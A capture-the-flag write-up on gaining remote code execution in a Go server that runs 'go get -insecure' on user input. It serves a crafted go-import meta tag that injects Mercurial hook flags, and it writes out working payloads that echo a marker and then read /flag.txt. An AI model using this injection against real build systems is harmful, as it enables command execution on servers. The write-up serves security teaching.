Gogeta
Summary
We won’t fight the regex and we won’t try to inject into a shell. Instead, we’ll hand the server a benign-looking import path that points to our own web page. That page serves a malicious <meta name="go-import">
tag which makes go get -insecure
invoke Mercurial with attacker-controlled flags and execute our command on the target. Once we prove code execution by echoing something simple, we swap the command to cat /flag.txt
and recover the flag.
Start
The challenge ships three files (whitebox):
Dockerfile (base image
golang:1.9.4
, installsmercurial
, drops/flag.txt
)main.go (the server)
index.html (simple form)
Two facts jump out immediately from the Dockerfile:
The Go toolchain is old (
1.9.4
) and Mercurial is installed.A flag exists at
/flag.txt
.
/submit
var validURL = regexp.MustCompile(`^[a-zA-Z0-9.-]+(:[0-9]+)?\/[a-zA-Z0-9/_\-\.]+$`)
func submitHandler(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
url := r.FormValue("url")
if !validURL.MatchString(url) {
tmpl.Execute(w, "❌ Invalid format. Use domain.com[:port]/package")
return
}
cmd := exec.Command("go", "get", "-insecure", url)
out, err := cmd.CombinedOutput()
resp := string(out)
if err != nil { resp += "\n[!] Error: " + err.Error() }
tmpl.Execute(w, resp)
}
exec.Command
passes argv, not through a shell ⇒;
,&&
, spaces in our form value won’t get you OS cmd injection.The regex only enforces a
host[/path]
shape; it doesn’t make the remote content trustworthy.All tool output is reflected back to us, so any command’s stdout/stderr will be visible in the page.
So where does the execution vector come from if not from our text field? From what go get
does next.
Where the execution actually happens
When you feed go get
a vanity import path like example.com/pkg
, it first fetches http://example.com/pkg
and looks for:
<meta name="go-import" content="example.com/pkg <vcs> <repo-url>">
Older go get
behavior with -insecure
trusted that <vcs>
token too much. If an attacker serves:
<vcs> = "hg --config=hooks.pre-clone=<OUR_COMMAND>"
then the Go tool ends up invoking hg
with our extra flags, which can register a hook that runs our command. This is why Mercurial being present in the image is such a loud hint.
Steps for Exploitation
1-Pick your attacker hostname
# Terminal A
ngrok http 80
2-Create the file structure the Go tool expects
go get
will request http://HOST/PATH?go-get=1
to find a go-import tag. We’ll serve that tag from /PATH/index.html
.
# Terminal B (your machine)
mkdir -p ~/evil/pkg
cd ~/evil
nano pkg/index.html
# Replace HOST with your ngrok subdomain
# The regex rejects http:// / https://
<!doctype html><html><head>
<meta name="go-import"
content="HOST/pkg hg --config=hooks.pre-clone=echo${IFS}PWNED;echo${IFS}https://>/dev/null">
</head><body>ok</body></html>
# Serve from the **parent** of 'pkg' so /pkg is a folder
python3 -m http.server 80
go get -insecure
fetcheshttp://HOST/PATH?go-get=1
, reads the<meta name="go-import">
.We lie in the
content=
field: we set the VCS tohg --config=hooks.pre-clone=<our command>
.The Go tool invokes
hg
with our extra flag, which runs our command.
3-Trigger it from the challenge
In the challenge’s form, submit exactly:
1234abcd.ngrok-free.app/pkg

Great now we confirmed RCE time to get the flag
replace the command instead of echo pwned to cat the flag
<meta name="go-import"
content="YOURHOST/pkg hg --config=hooks.pre-clone=cat${IFS}/flag.txt;echo${IFS}https://>/dev/null">

Last updated
Was this helpful?